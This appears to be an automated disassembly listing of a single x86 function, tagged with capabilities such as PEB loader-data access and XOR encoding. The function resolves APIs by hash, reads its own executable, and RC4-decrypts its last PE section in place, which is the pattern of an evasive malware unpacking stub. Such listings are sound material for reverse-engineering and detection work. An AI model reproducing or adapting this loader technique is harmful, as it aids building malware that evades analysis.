Function at 0x4132e0
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [0x41c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov edi, eax
mov edx, 0xaadf0f1
mov ecx, edi
call fcn.00412540
mov edx, 0x72d1864
mov dword [0x41dd44], eax
mov ecx, edi
call fcn.00412540
mov edx, 0x62c3db5
mov dword [0x41dd40], eax
mov ecx, edi
call fcn.00412540
mov edx, 0xdfa8b17
mov dword [0x41dd48], eax
mov ecx, edi
call fcn.00412540
mov esi, eax
mov edx, 0xad68927
mov ecx, edi
mov dword [0x41dd38], esi
call fcn.00412540
mov edx, 0x6769d5
mov dword [0x41dd34], eax
mov ecx, edi
call fcn.00412540
mov edx, 0xb78cba5
mov dword [0x41dd4c], eax
mov ecx, edi
call fcn.00412540
mov dword [0x41dd3c], eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x20c]
push eax
call dword [0x41dd34]
mov ebx, eax
push 0
push ebx
call dword [0x41dd4c]
mov esi, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x18]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x210]
push eax
push esi
push edi
push ebx
call dword [0x41dd3c]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [edi + 0x3c]
add edx, edi
mov dword [ebp - 0x31c], 0
movzx eax, word [edx + 6]
lea ecx, [eax + eax*4]
movzx eax, word [edx + 0x14]
add eax, edx
mov eax, dword [eax + ecx*8 + 4]
mov ecx, dword [eax + edi]
add eax, 4
add eax, edi
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x324], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
test eax, eax
jne 0x413448
xor edi, edi
jmp 0x41349d
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [0x41dd48]
mov esi, eax
test esi, esi
jg 0x41346a
xor edi, edi
jmp 0x41349d
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x18]
lea ecx, [esi + 1]
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
push dword [ebp - 0x31c]
push 0
push 0xfde9
call dword [0x41dd48]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor esi, esi
push edi
call ebx
test eax, eax
jle 0x4134c8
nop dword [eax]
mov al, byte [esi + edi]
lea ecx, [eax - 0x42]
cmp cl, 0x17
ja 0x4134c0
add al, 0x20
mov byte [esi + edi], al
push edi
inc esi
call ebx
cmp esi, eax
jl 0x4134b0
push edi
call ebx
movzx eax, ax
lea ecx, [ebp - 0x314]
mov dword [ebp - 0x328], eax
xor bl, bl
xor dh, dh
mov word [ebp - 0x214], 0
xor eax, eax
mov esi, 0x100
nop
mov byte [ecx], al
lea ecx, [ecx + 1]
inc eax
cmp ax, si
jb 0x4134f0
lea esi, [ebp - 0x314]
mov dword [ebp - 0x320], 0x100
nop dword [eax + eax]
mov dl, byte [esi]
lea ecx, [ebp - 0x314]
movzx eax, bl
lea esi, [esi + 1]
movzx eax, byte [eax + edi]
add al, dl
add dh, al
movzx eax, dh
add ecx, eax
movzx eax, byte [ecx]
mov byte [esi - 1], al
lea eax, [ebx + 1]
mov byte [ecx], dl
xor ebx, ebx
movzx ecx, al
cmp cx, word [ebp - 0x328]
movzx eax, al
cmovne ebx, eax
sub dword [ebp - 0x320], 1
jne 0x413510
mov edi, dword [ebp - 0x32c]
xor esi, esi
mov bh, byte [ebp - 0x214]
mov cl, byte [ebp - 0x213]
test edi, edi
je 0x4135c0
nop dword [eax]
inc bh
lea edx, [ebp - 0x314]
movzx eax, bh
add edx, eax
mov bl, byte [edx]
add cl, bl
movzx eax, cl
mov byte [ebp - 0x315], cl
lea ecx, [ebp - 0x314]
add ecx, eax
movzx eax, byte [ecx]
mov byte [edx], al
mov byte [ecx], bl
movzx edx, byte [edx]
mov ecx, dword [ebp - 0x324]
movzx eax, bl
add edx, eax
movzx eax, dl
movzx eax, byte [ebp + eax - 0x314]
xor byte [esi + ecx], al
inc esi
mov cl, byte [ebp - 0x315]
cmp esi, edi
jb 0x413570
mov ecx, dword [ebp - 0x324]
call fcn.004125f0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004153e0
mov esp, ebp
pop ebp
ret